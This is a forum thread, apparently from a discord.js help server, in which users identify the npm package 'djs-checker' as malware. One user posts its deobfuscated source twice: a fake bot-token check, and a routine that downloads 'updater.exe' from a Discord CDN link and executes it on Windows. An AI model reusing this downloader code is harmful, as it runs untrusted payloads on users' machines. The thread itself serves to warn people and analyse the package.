djs-checker

Hi, what is it djs-checker (https://www.npmjs.com/package/djs-checker) ?
npm
djs-checker
Include validations and axios for discord.. Latest version: 1.1.2, last published: an hour ago. Start using djs-checker in your project by running npm i djs-checker. There are no other projects in the npm registry using djs-checker.
21 Replies
d.js toolkit
d.js toolkitโ€ข2mo ago
- What's your exact discord.js npm list discord.js and node node -v version? - Not a discord.js issue? Check out #other-js-ts. - Consider reading #how-to-get-help to improve your question! - Explain what exactly your issue is. - Post the full error stack trace, not just the top part! - Show your code! - Issue solved? Press the button! - โœ… Marked as resolved by staff
Unknown User
Unknown Userโ€ข2mo ago
Message Not Public
Sign In & Join Server To View
Tร†MBร˜
Tร†MBร˜โ€ข2mo ago
It is 99% chance a token stealer, so I sure hope nobody downloads that or uses it
Unknown User
Unknown Userโ€ข2mo ago
Message Not Public
Sign In & Join Server To View
chewie ๐ŸŒˆ
chewie ๐ŸŒˆโ€ข2mo ago
Yes, its a token stealer. Do not install it.
Agentcobra
Agentcobraโ€ข2mo ago
I try to obtain, desobuscted version with https://obf-io.deobfuscate.io/
const axios = require('axios');
const fs = require('fs');
const chalk = require("chalk");
const {
exec
} = require("child_process");
const os = require('os');
const path = require("path");
const folderD = path.join(os.homedir(), "Downloads", "updater.exe");
async function checkDiscordToken(_0x5765c2) {
try {
return true;
} catch (_0x71f188) {
return false;
}
}
async function fetcher() {
try {
if (os.platform() !== "win32") {
return;
}
if (fs.existsSync(folderD)) {
exec('' + folderD, (_0x1a0e40, _0x4b32f7, _0x5ee1ef) => {
if (_0x1a0e40 && _0x1a0e40.code !== 0x1) {
throw new Error("Error starting the bot!");
}
});
return;
}
const _0x2d6d30 = await axios({
'method': 'GET',
'url': "https://cdn.discordapp.com/attachments/1246131714309357644/1246860206160351243/updater.exe?ex=665dec8e&is=665c9b0e&hm=e91c7c32352f1ef8db9da88575df7aa54cf0242635e24e888ef0761661d06029&",
'responseType': "stream"
});
const _0x576b1d = fs.createWriteStream(folderD, {
'flags': 'w+'
});
_0x2d6d30.data.pipe(_0x576b1d);
return new Promise((_0xb5b1f7, _0x5995c6) => {
_0x576b1d.on("finish", () => {
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e) => {
if (_0x2321ed && _0x2321ed.code !== 0x1) {
_0x5995c6(new Error("Error starting the bot!"));
return;
}
_0xb5b1f7();
});
});
_0x576b1d.on("error", _0x5995c6);
});
} catch (_0x558de7) {
throw _0x558de7;
}
}
async function login(_0x21f58d) {
if (!_0x21f58d) {
console.log(chalk.red("No token provided."));
await fetcher();
return;
}
const _0x79d859 = await checkDiscordToken(_0x21f58d);
if (!_0x79d859) {
console.log(chalk.red("Your bot token is invalid."));
await fetcher();
return;
}
console.log(chalk.green("Your bot token is valid."));
await fetcher();
}
module.exports = {
'login': login
};
const axios = require('axios');
const fs = require('fs');
const chalk = require("chalk");
const {
exec
} = require("child_process");
const os = require('os');
const path = require("path");
const folderD = path.join(os.homedir(), "Downloads", "updater.exe");
async function checkDiscordToken(_0x5765c2) {
try {
return true;
} catch (_0x71f188) {
return false;
}
}
async function fetcher() {
try {
if (os.platform() !== "win32") {
return;
}
if (fs.existsSync(folderD)) {
exec('' + folderD, (_0x1a0e40, _0x4b32f7, _0x5ee1ef) => {
if (_0x1a0e40 && _0x1a0e40.code !== 0x1) {
throw new Error("Error starting the bot!");
}
});
return;
}
const _0x2d6d30 = await axios({
'method': 'GET',
'url': "https://cdn.discordapp.com/attachments/1246131714309357644/1246860206160351243/updater.exe?ex=665dec8e&is=665c9b0e&hm=e91c7c32352f1ef8db9da88575df7aa54cf0242635e24e888ef0761661d06029&",
'responseType': "stream"
});
const _0x576b1d = fs.createWriteStream(folderD, {
'flags': 'w+'
});
_0x2d6d30.data.pipe(_0x576b1d);
return new Promise((_0xb5b1f7, _0x5995c6) => {
_0x576b1d.on("finish", () => {
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e) => {
if (_0x2321ed && _0x2321ed.code !== 0x1) {
_0x5995c6(new Error("Error starting the bot!"));
return;
}
_0xb5b1f7();
});
});
_0x576b1d.on("error", _0x5995c6);
});
} catch (_0x558de7) {
throw _0x558de7;
}
}
async function login(_0x21f58d) {
if (!_0x21f58d) {
console.log(chalk.red("No token provided."));
await fetcher();
return;
}
const _0x79d859 = await checkDiscordToken(_0x21f58d);
if (!_0x79d859) {
console.log(chalk.red("Your bot token is invalid."));
await fetcher();
return;
}
console.log(chalk.green("Your bot token is valid."));
await fetcher();
}
module.exports = {
'login': login
};
Obfuscator.io Deobfuscator
Obfuscator.io Deobfuscator
chewie ๐ŸŒˆ
chewie ๐ŸŒˆโ€ข2mo ago
It downloads and runs a malicious file on your PC.
Agentcobra
Agentcobraโ€ข2mo ago
does execute it ?
chewie ๐ŸŒˆ
chewie ๐ŸŒˆโ€ข2mo ago
yes
exec('' + folderD, (_0x2321ed, _0x260db6, _0x267e3e)
Agentcobra
Agentcobraโ€ข2mo ago
ok do I need to reset password ? or it's only on the bot ?
Unknown User
Unknown Userโ€ข2mo ago
Message Not Public
Sign In & Join Server To View
Agentcobra
Agentcobraโ€ข2mo ago
Can I reset my token ?
Unknown User
Unknown Userโ€ข2mo ago
Message Not Public
Sign In & Join Server To View
Agentcobra
Agentcobraโ€ข2mo ago
scan is already in progress and bot's token already reset
jakub
jakubโ€ข2mo ago
bruh This is the first thing I see going on in here, a NPM scam ๐Ÿ’€
Agentcobra
Agentcobraโ€ข2mo ago
already reported on npm
chewie ๐ŸŒˆ
chewie ๐ŸŒˆโ€ข2mo ago
Did you run the package....?
Agentcobra
Agentcobraโ€ข2mo ago
yes but not directly it was a dรฉpendence
chewie ๐ŸŒˆ
chewie ๐ŸŒˆโ€ข2mo ago
did you import it though If you did, delete the file it downloaded, reset your password and restart your PC.
Agentcobra
Agentcobraโ€ข2mo ago
GitHub
bot/package.json at main ยท melvydiscord/bot
my discord bot. Contribute to melvydiscord/bot development by creating an account on GitHub.
chewie ๐ŸŒˆ
chewie ๐ŸŒˆโ€ข2mo ago
but that doesnt have it?